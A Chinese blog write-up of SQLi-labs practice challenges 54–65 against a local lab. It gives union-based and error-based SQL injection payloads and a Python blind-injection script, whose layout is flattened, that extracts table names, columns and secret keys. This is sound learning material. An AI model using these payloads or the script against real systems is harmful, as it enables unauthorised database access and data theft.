SQLI LABS Challenges Part(54-65) WriteUp

时间:2022-02-05 21:55:55

终于到了最后一部分,这些关跟之前不同的是这里是限制次数的。

less-54:

这题比较好玩,10次之内爆出数据。先试试是什么类型:

?id=1' and '1 ==>>正常
?id=1' and '0 ==>>不正常

所以是单引号注入。union一波试试:

?id=1' union select 1,2,'3

果然回显了。下面就从information_schema中爆数据了:

爆表名

?id=100' union select 1,(select group_concat(table_name separator 0x7e) from information_schema.tables where table_schema='challenges'),'3

SQLI LABS Challenges Part(54-65) WriteUp

爆字段名

127.0.0.1:85/sqli-labs-master/Less-54/index.php?id=100' union select 1,(select group_concat(column_name separator 0x7e) from information_schema.columns where table_name='yrby6u7nvw'),'3

SQLI LABS Challenges Part(54-65) WriteUp

爆数据

127.0.0.1:85/sqli-labs-master/Less-54/index.php?id=100' union select 1,(select secret_2BUB from challenges.yrby6u7nvw),'3

SQLI LABS Challenges Part(54-65) WriteUp

输入密钥后,成功:

SQLI LABS Challenges Part(54-65) WriteUp

less-55:

这题搞了好久,没有回显,只能盲注。后来实在没办法(我太菜了π_π),看了下源码,原来id被包起来了:

$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

所以payload应该为:

?id=100) union select 1,2,3--%20

SQLI LABS Challenges Part(54-65) WriteUp

剩下的跟less-54差不多了。

less-56:

先fuzz是什么注入类型:

?id=1 ==>> 正常
?id=1 and 0 ==>> 正常
?id=1' and '0 ==>> 无数据

由此判断出是单引号注入,尝试union:

?id=100' union select 1,2,'3

无返回结果,有可能和less-55一样,参数被括号包裹了,尝试一下:

?id=100') union (select 1,2,'3

SQLI LABS Challenges Part(54-65) WriteUp

下面操作就跟之前差不多了。

less-57:

跟上面几题一样,只不过是双引号注入,payload:

?id=100" union select 1,2,"3

SQLI LABS Challenges Part(54-65) WriteUp

less-58:

这题跟前面几个都不一样,想使用union,可是出来的数据都是一样的。后来看了一下源码:

SQLI LABS Challenges Part(54-65) WriteUp

可以看出,username和password是固定的数组,所以我们注入的数据是union不出来的。总不能用时间盲注吧,毕竟这题只有五次机会。实在没辙,看了眼wp,原来是用的报错注入,我好笨。。看一眼payload:

爆表名

?id=1'-extractvalue(1,concat(0x7e,(select group_concat(table_name separator 0x7f) from information_schema.tables where table_schema='challenges'),0x7e))-'1

SQLI LABS Challenges Part(54-65) WriteUp

爆字段

?id=1'-extractvalue(1,concat(0x7e,(select group_concat(column_name separator 0x7f) from information_schema.columns where table_name='kunnw7szqe'),0x7e))-'1

SQLI LABS Challenges Part(54-65) WriteUp

爆数据

?id=1'-extractvalue(1,concat(0x7e,(select group_concat(secret_POYF separator 0x7d) from challenges.kunnw7szqe),0x7e))-'1

成功:

SQLI LABS Challenges Part(54-65) WriteUp

less-59:

跟上一题一样,只不过是数值型注入,爆表名payload:

?id=100 union select 1,(extractvalue(1,concat(0x7e,(select group_concat(table_name separator 0x7d) from information_schema.tables where table_schema='challenges'),0x7e))),3--%20

SQLI LABS Challenges Part(54-65) WriteUp

剩下的跟前面差不多了~

less-60:

先fuzz:

?id=1 and 0 ==>> 正常
?id=1' and '0 ==>> 正常
?id=1" and "0 ==>> 不正常

所以是双引号注入。尝试:

?id=1" union select 1,2,"3

返回SQL语法错误,根据错误信息,发现id是被括号包着的,所以稍微改一下:

?id=1") union select 1,2,3--%20

还是返回跟之前一样的数据,估计后台又是用数据来提取信息的,所以尝试报错:

?id=100") union select 1,(extractvalue(1,concat(0x7e,database(),0x7e))),3--%20

SQLI LABS Challenges Part(54-65) WriteUp

剩下的操作就跟之前差不多了。

less-61:

同样,先fuzz是什么类型。结果是单引号注入。输入一个单引号之后返回SQL语法错误,根据返回信息,发现id被两个括号包着了。用报错注入,payload:

?id=100')) union select 1,(extractvalue(1,concat(0x7e,database(),0x7e))),3--%20

SQLI LABS Challenges Part(54-65) WriteUp

less-62:

fuzz之后发现是单引号注入,尝试:

?id=100' union select 1,2,3--%20

没有返回数据,估计是后台出错了,加个括号:

?id=100') union select 1,2,3--%20

这题可以尝试130次,估计是要用盲注了。试了试报错注入,果然不行,看来只能写脚本了。payload:

id=1' and if((条件),1,0)-'1

已知表名长度:10,字段名长度:4,数据长度:24。用二分法的话,每猜一个字符大概要6次,而一共有38个字符,所以大概要猜228次。离130还有很大距离。。

直接附个脚本:

#!/usr/bin/env python3
import requests, math #常量定义
words = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz"
words_len = len(words) url = 'http://127.0.0.1:85/sqli-labs-master/Less-62/index.php' #创建字符表,以ascii排序 #基于时间的盲注 #爆表名
table_name_payload1 = '1\' and (if((ord(substr(((select group_concat(table_name separator 0x7e) from information_schema.tables where table_schema=\'challenges\')),{},1))>{}),1,0))-\''
table_name_payload2 = '1\' and (if((ord(substr(((select group_concat(table_name separator 0x7e) from information_schema.tables where table_schema=\'challenges\')),{},1))<{}),1,0))-\''
table_name_payload3 = '1\' and (if((ord(substr(((select group_concat(table_name separator 0x7e) from information_schema.tables where table_schema=\'challenges\')),{},1))={}),1,0))-\'' #爆字段名
column_name_payload1 = '1\' and (if((ord(substr(((select column_name from information_schema.columns where table_name=\'{}\' and column_name like \'secret_%\')),{},1))>{}),1,0))-\''
column_name_payload2 = '1\' and (if((ord(substr(((select column_name from information_schema.columns where table_name=\'{}\' and column_name like \'secret_%\')),{},1))<{}),1,0))-\''
column_name_payload3 = '1\' and (if((ord(substr(((select column_name from information_schema.columns where table_name=\'{}\' and column_name like \'secret_%\')),{},1))={}),1,0))-\'' #爆数据
data_payload1 = '1\' and (if((ord(substr((select {} from challenges.{}),{},1))>{}),1,0))-\''
data_payload2 = '1\' and (if((ord(substr((select {} from challenges.{}),{},1))<{}),1,0))-\''
data_payload3 = '1\' and (if((ord(substr((select {} from challenges.{}),{},1))={}),1,0))-\'' def find_tableName():
#表名
table_name = ''
print("\n[+}retrieving table name...")
index = 1
for i in range(1, 11):
# if(len(table_name) == 10):
# break
min = 0
max = words_len-1
cur = math.floor((max+min)/2)
table_name_payload = {'id':table_name_payload1.format(i, ord(words[cur]))}
# print(table_name_payload)
# print(words[cur])
# exit()
while(1):
resp = requests.get(url, params=table_name_payload)
#print("No.{}: {}".format(index, words[cur]))
index += 1
# print("\n"+resp.content.decode('utf-8'))
# exit()
if("Login name" in resp.content.decode('utf-8')):
#向右取
#print("right {} {} {}".format(min, cur, max))
min = cur
if(cur+1 == max):
#成功
table_name += words[max]
#print("\n####got one! {}\n".format(table_name))
print('{}'.format(table_name))
break
cur = math.floor((max+min)/2)
table_name_payload = {'id':table_name_payload1.format(i, ord(words[cur]))}
continue
elif("Login name" not in resp.content.decode('utf-8')):
#向左取
#print("left {} {} {}".format(min, cur, max))
if(cur+1 == max):
#成功
table_name_payload = {'id':table_name_payload3.format(i, ord(words[cur]))}
resp = requests.get(url, params=table_name_payload)
#print("No.{}: {}".format(index, words[cur]))
if("Login name" in resp.content.decode('utf-8')):
table_name += words[cur]
else:
table_name += words[min] #print("\n####got one! {}\n".format(table_name))
print('{}'.format(table_name))
break
max = cur
cur = math.floor((max+min)/2)
table_name_payload = {'id':table_name_payload1.format(i, ord(words[cur]))} print('[+]table_name: {}\n[+]{} times'.format(table_name, index))
return table_name def find_columnName(table_name):
#字段名
column_name = 'secret_'
print("\n[+}retrieving column name...")
is_done = False
index = 1
for i in range(8, 12):
min = 0
max = words_len-1
cur = math.floor((max+min)/2)
column_name_payload = {'id':column_name_payload1.format(table_name, i, ord(words[cur]))}
while(1):
resp = requests.get(url, params=column_name_payload)
#print(column_name_payload)
index += 1
if("Login name" in resp.content.decode('utf-8')):
#向右取
#print("right {} {} {}".format(min, cur, max))
min = cur
if(cur+1 == max):
#成功
column_name += words[max]
#print("\n####got one! {}\n".format(column_name))
print('{}'.format(column_name))
break
cur = math.floor((max+min)/2)
column_name_payload = {'id':column_name_payload1.format(table_name, i, ord(words[cur]))}
continue
elif("Login name" not in resp.content.decode('utf-8')):
#向左取
#print("left {} {} {}".format(min, cur, max))
if(cur+1 == max):
#成功
column_name_payload = {'id':column_name_payload3.format(table_name, i, ord(words[cur]))}
resp = requests.get(url, params=column_name_payload)
#print(column_name_payload)
index += 1
#print("No.{}: {}".format(index, words[cur]))
if("Login name" in resp.content.decode('utf-8')):
column_name += words[cur]
else:
column_name += words[min] #print("\n####got one! {}\n".format(column_name))
print('{}'.format(column_name))
break
max = cur
cur = math.floor((max+min)/2)
column_name_payload = {'id':column_name_payload1.format(table_name, i, ord(words[cur]))} print('[+]column_name: {}\n[+]{} times'.format(column_name, index))
return column_name def retrieve_data(table_name, column_name):
#爆数据
data = ''
print("\n[+}retrieving data...")
index = 1
for i in range(1, 25):
min = 0
max = words_len-1
cur = math.floor((max+min)/2)
data_payload = {'id':data_payload1.format(column_name, table_name, i, ord(words[cur]))}
while(1):
resp = requests.get(url, params=data_payload)
#print(data_payload)
index += 1
if("Login name" in resp.content.decode('utf-8')):
#向右取
#print("right {} {} {}".format(min, cur, max))
if(cur+1 == max):
#成功
data += words[max]
#print("\n####got one! {}\n".format(data))
print('{}'.format(data))
break
min = cur
cur = math.floor((max+min)/2)
data_payload = {'id':data_payload1.format(column_name, table_name, i, ord(words[cur]))}
continue
elif("Login name" not in resp.content.decode('utf-8')):
#向左取
#print("left {} {} {}".format(min, cur, max))
if(cur+1 == max):
#成功
data_payload = {'id':data_payload3.format(column_name, table_name, i, ord(words[cur]))}
resp = requests.get(url, params=data_payload)
#print(data_payload)
index += 1
#print("No.{}: {}".format(index, words[cur]))
if("Login name" in resp.content.decode('utf-8')):
data += words[cur]
else:
data += words[min] #print("\n####got one! {}\n".format(data))
print('{}'.format(data))
break
max = cur
cur = math.floor((max+min)/2)
data_payload = {'id':data_payload1.format(column_name, table_name, i, ord(words[cur]))} print('[+]data: {}\n[+]{} times'.format(data, index))
return data if __name__ == '__main__': table_name = find_tableName()
column_name = find_columnName(table_name)
data = retrieve_data(table_name, column_name)

运行截图:

SQLI LABS Challenges Part(54-65) WriteUp

less-63:

跟上一题没什么区别,只是id没有被包在括号里,脚本没有区别。

less-64:

这题是数字型注入,把上面payload中的引号去掉就好了。

less-65:

双引号注入,把less-62中的单引号换成双引号就ok了。

总结:

终于写完了,中间走走停停做了好几个星期。不过这一套下来,的确学到了一些东西。整体难度不算难,主要就是巩固基础,形成自己的一套注入方法。从fuzz注入类型,到写payload,再到写脚本,都变得更加得心应手,所以收获还是蛮大的。